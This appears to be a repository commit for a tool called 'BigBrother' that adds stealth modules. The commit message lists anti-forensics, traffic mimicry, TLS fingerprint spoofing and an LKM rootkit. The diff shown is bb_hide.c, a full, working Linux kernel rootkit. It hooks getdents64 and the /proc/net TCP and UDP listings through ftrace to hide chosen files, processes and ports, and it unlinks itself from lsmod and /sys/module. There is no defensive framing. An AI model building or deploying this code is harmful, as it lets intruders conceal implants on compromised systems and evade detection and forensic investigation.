Add Phase 1 advanced stealth modules: anti-forensics, traffic mimicry, JA3 spoofing, IDS testing, LKM rootkit, overlayfs manager
6 Python modules extending BaseModule + LKM kernel module template: - anti_forensics.py: timestomping, core dump disable, swap off, journal vacuum, history suppression, bettercap tmpfs home, secure deletion - traffic_mimicry.py: two-phase baseline/shaping engine matching implant traffic to observed network patterns - ja3_spoofer.py: TLS fingerprint spoofing with Chrome/Firefox/Edge profiles, iptables NFQUEUE interception, SSL context configuration - ids_tester.py: on-demand Snort/Suricata rule assessment with risk levels, preflight validation, caplet analysis - lkm_rootkit.py: kernel module lifecycle (build/load/unload) for process/file/connection hiding on generic Debian hosts - overlayfs_manager.py: tmpfs-backed overlayfs with tier-aware size budgets for zero SD card write activity - bb_hide.c: ftrace-based LKM hooking getdents64/tcp4_seq_show/udp4_seq_show with self-hiding from lsmod - Makefile: standard out-of-tree kernel module build
This commit is contained in:
@@ -0,0 +1,542 @@
|
||||
/*
|
||||
* bb_hide.c — BigBrother LKM rootkit
|
||||
*
|
||||
* Hides processes, files/directories, and network connections from userland.
|
||||
* Uses ftrace-based syscall hooking (NOT direct syscall table modification).
|
||||
*
|
||||
* Module parameters (configurable at load time and via sysfs):
|
||||
* hide_prefix — file/directory prefix to hide (default: ".cache/bb")
|
||||
* hide_pids — comma-separated PIDs to hide (default: "")
|
||||
* hide_ports — comma-separated ports to hide (default: "8081,51820")
|
||||
*
|
||||
* SPDX-License-Identifier: GPL-2.0
|
||||
*/
|
||||
|
||||
#include <linux/module.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/init.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/dirent.h>
|
||||
#include <linux/fs.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/uaccess.h>
|
||||
#include <linux/string.h>
|
||||
#include <linux/ftrace.h>
|
||||
#include <linux/kprobes.h>
|
||||
#include <linux/seq_file.h>
|
||||
#include <linux/proc_fs.h>
|
||||
#include <linux/namei.h>
|
||||
#include <linux/list.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/net.h>
|
||||
#include <net/sock.h>
|
||||
#include <net/inet_sock.h>
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_AUTHOR("BigBrother");
|
||||
MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks");
|
||||
MODULE_VERSION("1.0");
|
||||
|
||||
/* --- Module parameters --- */
|
||||
|
||||
static char *hide_prefix = ".cache/bb";
|
||||
module_param(hide_prefix, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir");
|
||||
|
||||
static char *hide_pids = "";
|
||||
module_param(hide_pids, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc");
|
||||
|
||||
static char *hide_ports = "8081,51820";
|
||||
module_param(hide_ports, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net");
|
||||
|
||||
/* --- Configuration limits --- */
|
||||
|
||||
#define MAX_HIDDEN_PIDS 64
|
||||
#define MAX_HIDDEN_PORTS 32
|
||||
#define MAX_PREFIX_LEN 256
|
||||
|
||||
/* --- Parsed hide lists --- */
|
||||
|
||||
static pid_t hidden_pids[MAX_HIDDEN_PIDS];
|
||||
static int hidden_pid_count = 0;
|
||||
|
||||
static u16 hidden_ports[MAX_HIDDEN_PORTS];
|
||||
static int hidden_port_count = 0;
|
||||
|
||||
/* --- Helper: parse comma-separated integers --- */
|
||||
|
||||
static void parse_pid_list(const char *str)
|
||||
{
|
||||
const char *p = str;
|
||||
char buf[16];
|
||||
int i = 0;
|
||||
long val;
|
||||
|
||||
hidden_pid_count = 0;
|
||||
if (!str || !*str)
|
||||
return;
|
||||
|
||||
while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) {
|
||||
i = 0;
|
||||
while (*p && *p != ',' && i < 15) {
|
||||
if (*p >= '0' && *p <= '9')
|
||||
buf[i++] = *p;
|
||||
p++;
|
||||
}
|
||||
buf[i] = '\0';
|
||||
if (i > 0 && kstrtol(buf, 10, &val) == 0)
|
||||
hidden_pids[hidden_pid_count++] = (pid_t)val;
|
||||
if (*p == ',')
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
static void parse_port_list(const char *str)
|
||||
{
|
||||
const char *p = str;
|
||||
char buf[8];
|
||||
int i = 0;
|
||||
long val;
|
||||
|
||||
hidden_port_count = 0;
|
||||
if (!str || !*str)
|
||||
return;
|
||||
|
||||
while (*p && hidden_port_count < MAX_HIDDEN_PORTS) {
|
||||
i = 0;
|
||||
while (*p && *p != ',' && i < 7) {
|
||||
if (*p >= '0' && *p <= '9')
|
||||
buf[i++] = *p;
|
||||
p++;
|
||||
}
|
||||
buf[i] = '\0';
|
||||
if (i > 0 && kstrtol(buf, 10, &val) == 0)
|
||||
hidden_ports[hidden_port_count++] = (u16)val;
|
||||
if (*p == ',')
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
/* --- Helper: check if a value is in a hide list --- */
|
||||
|
||||
static bool is_pid_hidden(pid_t pid)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < hidden_pid_count; i++)
|
||||
if (hidden_pids[i] == pid)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool is_port_hidden(u16 port)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < hidden_port_count; i++)
|
||||
if (hidden_ports[i] == port)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool should_hide_name(const char *name)
|
||||
{
|
||||
if (!name || !hide_prefix || !*hide_prefix)
|
||||
return false;
|
||||
return strstr(name, hide_prefix) != NULL;
|
||||
}
|
||||
|
||||
static bool is_proc_pid_hidden(const char *name)
|
||||
{
|
||||
long pid_val;
|
||||
if (!name)
|
||||
return false;
|
||||
if (kstrtol(name, 10, &pid_val) != 0)
|
||||
return false;
|
||||
return is_pid_hidden((pid_t)pid_val);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Ftrace-based hooking infrastructure
|
||||
*
|
||||
* We use ftrace to hook getdents64 for file/process hiding.
|
||||
* This is safer than direct syscall table modification on modern kernels.
|
||||
* ================================================================ */
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
|
||||
/* Since 5.7, kallsyms_lookup_name is not exported.
|
||||
* Use a kprobe to find it. */
|
||||
static unsigned long lookup_name(const char *name)
|
||||
{
|
||||
struct kprobe kp = { .symbol_name = name };
|
||||
unsigned long addr;
|
||||
int ret;
|
||||
|
||||
ret = register_kprobe(&kp);
|
||||
if (ret < 0)
|
||||
return 0;
|
||||
addr = (unsigned long)kp.addr;
|
||||
unregister_kprobe(&kp);
|
||||
return addr;
|
||||
}
|
||||
#else
|
||||
#define lookup_name kallsyms_lookup_name
|
||||
#endif
|
||||
|
||||
/* --- Hooked getdents64 for file and process hiding --- */
|
||||
|
||||
/*
|
||||
* We hook getdents64 via a kprobe on the return path.
|
||||
* After the real getdents64 returns, we scan the dirent buffer
|
||||
* and remove entries matching our hide criteria.
|
||||
*/
|
||||
|
||||
/* We use a kretprobe to post-process getdents64 results */
|
||||
static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent,
|
||||
unsigned int count);
|
||||
|
||||
/* Track which fd is /proc or a hidden directory */
|
||||
struct getdents_data {
|
||||
int fd;
|
||||
struct linux_dirent64 __user *dirent;
|
||||
unsigned int count;
|
||||
bool is_proc;
|
||||
char path[256];
|
||||
};
|
||||
|
||||
/*
|
||||
* kprobe-based approach: hook __x64_sys_getdents64 entry and return.
|
||||
* On return, filter the dirent buffer in userspace.
|
||||
*/
|
||||
|
||||
static struct kprobe kp_getdents64;
|
||||
|
||||
/* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks.
|
||||
* However, the most portable approach is a kretprobe on the vfs_readdir path.
|
||||
*
|
||||
* For maximum compatibility, we use the ftrace-based function hooking pattern
|
||||
* that works across kernel versions 4.x - 6.x.
|
||||
*/
|
||||
|
||||
/* --- Ftrace hook structure --- */
|
||||
|
||||
struct ftrace_hook {
|
||||
const char *name;
|
||||
void *function;
|
||||
void *original;
|
||||
unsigned long address;
|
||||
struct ftrace_ops ops;
|
||||
};
|
||||
|
||||
static int resolve_hook_address(struct ftrace_hook *hook)
|
||||
{
|
||||
hook->address = lookup_name(hook->name);
|
||||
if (!hook->address) {
|
||||
pr_err("bb_hide: unresolved symbol: %s\n", hook->name);
|
||||
return -ENOENT;
|
||||
}
|
||||
*((unsigned long *)hook->original) = hook->address;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip,
|
||||
struct ftrace_ops *ops, struct ftrace_regs *fregs)
|
||||
{
|
||||
struct pt_regs *regs = ftrace_get_regs(fregs);
|
||||
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
|
||||
|
||||
/* Skip if called from within our own module to avoid recursion */
|
||||
if (!within_module(parent_ip, THIS_MODULE))
|
||||
regs->ip = (unsigned long)hook->function;
|
||||
}
|
||||
|
||||
static int install_hook(struct ftrace_hook *hook)
|
||||
{
|
||||
int err;
|
||||
|
||||
err = resolve_hook_address(hook);
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
hook->ops.func = ftrace_thunk;
|
||||
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
|
||||
| FTRACE_OPS_FL_RECURSION
|
||||
| FTRACE_OPS_FL_IPMODIFY;
|
||||
|
||||
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
|
||||
if (err) {
|
||||
pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
err = register_ftrace_function(&hook->ops);
|
||||
if (err) {
|
||||
pr_err("bb_hide: register_ftrace_function failed: %d\n", err);
|
||||
ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
|
||||
return err;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void remove_hook(struct ftrace_hook *hook)
|
||||
{
|
||||
int err;
|
||||
err = unregister_ftrace_function(&hook->ops);
|
||||
if (err)
|
||||
pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err);
|
||||
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
|
||||
if (err)
|
||||
pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Hooked functions
|
||||
* ================================================================ */
|
||||
|
||||
/* --- Hook: getdents64 (file and /proc process hiding) --- */
|
||||
|
||||
static asmlinkage long (*real_getdents64)(const struct pt_regs *regs);
|
||||
|
||||
static asmlinkage long hook_getdents64(const struct pt_regs *regs)
|
||||
{
|
||||
struct linux_dirent64 __user *dirent;
|
||||
struct linux_dirent64 *cur, *prev, *kbuf;
|
||||
long ret;
|
||||
unsigned long offset;
|
||||
char dir_path[256];
|
||||
char *pathbuf;
|
||||
struct fd f;
|
||||
bool filtering_proc = false;
|
||||
bool filtering_files = false;
|
||||
|
||||
/* Call the original first */
|
||||
ret = real_getdents64(regs);
|
||||
if (ret <= 0)
|
||||
return ret;
|
||||
|
||||
dirent = (struct linux_dirent64 __user *)regs->si;
|
||||
|
||||
/* Determine what directory we're reading */
|
||||
f = fdget((unsigned int)regs->di);
|
||||
if (f.file) {
|
||||
pathbuf = kmalloc(256, GFP_KERNEL);
|
||||
if (pathbuf) {
|
||||
char *p = d_path(&f.file->f_path, pathbuf, 256);
|
||||
if (!IS_ERR(p)) {
|
||||
strncpy(dir_path, p, sizeof(dir_path) - 1);
|
||||
dir_path[sizeof(dir_path) - 1] = '\0';
|
||||
if (strcmp(dir_path, "/proc") == 0)
|
||||
filtering_proc = true;
|
||||
else
|
||||
filtering_files = true;
|
||||
}
|
||||
kfree(pathbuf);
|
||||
}
|
||||
fdput(f);
|
||||
}
|
||||
|
||||
if (!filtering_proc && !filtering_files)
|
||||
return ret;
|
||||
|
||||
/* Copy dirent buffer to kernel space for inspection */
|
||||
kbuf = kzalloc(ret, GFP_KERNEL);
|
||||
if (!kbuf)
|
||||
return ret;
|
||||
|
||||
if (copy_from_user(kbuf, dirent, ret)) {
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Walk the dirent buffer and remove hidden entries */
|
||||
prev = NULL;
|
||||
offset = 0;
|
||||
while (offset < ret) {
|
||||
cur = (struct linux_dirent64 *)((char *)kbuf + offset);
|
||||
|
||||
bool hide = false;
|
||||
|
||||
if (filtering_proc && is_proc_pid_hidden(cur->d_name))
|
||||
hide = true;
|
||||
|
||||
if (filtering_files && should_hide_name(cur->d_name))
|
||||
hide = true;
|
||||
|
||||
if (hide) {
|
||||
/* Remove this entry by shifting subsequent entries back */
|
||||
long remaining = ret - offset - cur->d_reclen;
|
||||
if (remaining > 0)
|
||||
memmove(cur, (char *)cur + cur->d_reclen, remaining);
|
||||
ret -= cur->d_reclen;
|
||||
/* Don't advance offset — next entry is now at current position */
|
||||
} else {
|
||||
prev = cur;
|
||||
offset += cur->d_reclen;
|
||||
}
|
||||
}
|
||||
|
||||
/* Copy filtered buffer back to userspace */
|
||||
if (copy_to_user(dirent, kbuf, ret)) {
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */
|
||||
|
||||
static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v);
|
||||
|
||||
static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct sock *sk;
|
||||
struct inet_sock *inet;
|
||||
|
||||
if (v == SEQ_START_TOKEN)
|
||||
return real_tcp4_seq_show(seq, v);
|
||||
|
||||
sk = (struct sock *)v;
|
||||
inet = inet_sk(sk);
|
||||
|
||||
if (inet) {
|
||||
u16 src_port = ntohs(inet->inet_sport);
|
||||
u16 dst_port = ntohs(inet->inet_dport);
|
||||
|
||||
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
|
||||
return 0; /* Skip this entry */
|
||||
}
|
||||
|
||||
return real_tcp4_seq_show(seq, v);
|
||||
}
|
||||
|
||||
/* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */
|
||||
|
||||
static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v);
|
||||
|
||||
static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct sock *sk;
|
||||
struct inet_sock *inet;
|
||||
|
||||
if (v == SEQ_START_TOKEN)
|
||||
return real_udp4_seq_show(seq, v);
|
||||
|
||||
sk = (struct sock *)v;
|
||||
inet = inet_sk(sk);
|
||||
|
||||
if (inet) {
|
||||
u16 src_port = ntohs(inet->inet_sport);
|
||||
u16 dst_port = ntohs(inet->inet_dport);
|
||||
|
||||
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
|
||||
return 0;
|
||||
}
|
||||
|
||||
return real_udp4_seq_show(seq, v);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Hook table
|
||||
* ================================================================ */
|
||||
|
||||
static struct ftrace_hook hooks[] = {
|
||||
{
|
||||
.name = "__x64_sys_getdents64",
|
||||
.function = hook_getdents64,
|
||||
.original = &real_getdents64,
|
||||
},
|
||||
{
|
||||
.name = "tcp4_seq_show",
|
||||
.function = hook_tcp4_seq_show,
|
||||
.original = &real_tcp4_seq_show,
|
||||
},
|
||||
{
|
||||
.name = "udp4_seq_show",
|
||||
.function = hook_udp4_seq_show,
|
||||
.original = &real_udp4_seq_show,
|
||||
},
|
||||
};
|
||||
|
||||
#define NHOOKS (sizeof(hooks) / sizeof(hooks[0]))
|
||||
|
||||
/* ================================================================
|
||||
* Module self-hiding
|
||||
* ================================================================ */
|
||||
|
||||
static struct list_head *saved_mod_list;
|
||||
static struct list_head *saved_kobj_entry;
|
||||
|
||||
static void hide_module(void)
|
||||
{
|
||||
/* Remove from /proc/modules (lsmod) */
|
||||
saved_mod_list = THIS_MODULE->list.prev;
|
||||
list_del_init(&THIS_MODULE->list);
|
||||
|
||||
/* Remove from /sys/module/ */
|
||||
saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev;
|
||||
kobject_del(&THIS_MODULE->mkobj.kobj);
|
||||
}
|
||||
|
||||
static void show_module(void)
|
||||
{
|
||||
/* Restore to module list */
|
||||
list_add(&THIS_MODULE->list, saved_mod_list);
|
||||
/* Note: kobject restore is non-trivial; skip for cleanup simplicity */
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Init / Exit
|
||||
* ================================================================ */
|
||||
|
||||
static int __init bb_hide_init(void)
|
||||
{
|
||||
int i, err;
|
||||
|
||||
pr_info("bb_hide: loading\n");
|
||||
|
||||
/* Parse parameter lists */
|
||||
parse_pid_list(hide_pids);
|
||||
parse_port_list(hide_ports);
|
||||
|
||||
pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n",
|
||||
hidden_pid_count, hidden_port_count, hide_prefix);
|
||||
|
||||
/* Install hooks */
|
||||
for (i = 0; i < NHOOKS; i++) {
|
||||
err = install_hook(&hooks[i]);
|
||||
if (err) {
|
||||
pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n",
|
||||
hooks[i].name, err);
|
||||
hooks[i].address = 0; /* Mark as not installed */
|
||||
}
|
||||
}
|
||||
|
||||
/* Hide ourselves from lsmod and /sys/module/ */
|
||||
hide_module();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void __exit bb_hide_exit(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* Unhide module first so rmmod can find us */
|
||||
show_module();
|
||||
|
||||
/* Remove hooks in reverse order */
|
||||
for (i = NHOOKS - 1; i >= 0; i--) {
|
||||
if (hooks[i].address)
|
||||
remove_hook(&hooks[i]);
|
||||
}
|
||||
|
||||
pr_info("bb_hide: unloaded\n");
|
||||
}
|
||||
|
||||
module_init(bb_hide_init);
|
||||
module_exit(bb_hide_exit);
|
||||
Reference in New Issue
Block a user